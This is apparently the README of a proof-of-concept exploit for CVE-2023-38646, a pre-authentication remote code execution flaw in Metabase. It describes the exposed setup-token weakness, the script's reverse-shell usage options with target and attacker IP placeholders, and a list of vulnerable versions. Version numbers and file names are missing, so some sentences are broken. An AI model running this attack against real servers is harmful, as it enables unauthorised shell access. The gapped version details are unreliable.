# CVE-2023-38646 Metabase Pre-Auth RCE (11/26/2023)
Metabase open source before and Metabase Enterprise before allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are,,,,, and

The vulnerability exists within the application exposing the **setup-token** that can be use to validate the database within the **api/setup/validate**. Unauthorized user can create a malicious code and execute arbitratry command.

## Disclaimer


This script is provided for educational and testing purposes. The author is not responsible for any misuse or damage caused by its use. Ensure compliance with applicable laws and ethical standards. By using this script, you acknowledge and accept these terms.

## Metabase
Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. Itโ€™s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.

## Proof of Concept

### Commands
usage: [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST

  -h, --help            show this help message and exit
  -rh REMOTE_HOST, --remote-host REMOTE_HOST
                        Hostname of the target.
  -rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
                        Port of the Target Machine (default: Port 80)
  -p PORT, --port PORT  Port for reverse shell.
  -l LOCAL_HOST, --local-host LOCAL_HOST
                        Your IP Adress
You can run the script by using this command below. You can change the remote port by using the -rp. Default port is 80
./ -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
python3 -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>


## Vulnerable Versions
Metabase Enterprise 1.46 <
Metabase Enterprise 1.45 <
Metabase Enterprise 1.44 <
Metabase Enterprise 1.43 <
Metabase open source 0.46 <
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 <
Metabase open source 0.43 <

## References
- [Packet storm security Metabase-Remote-Code-Execution](
- [NVD CVE-2023-38646 Details](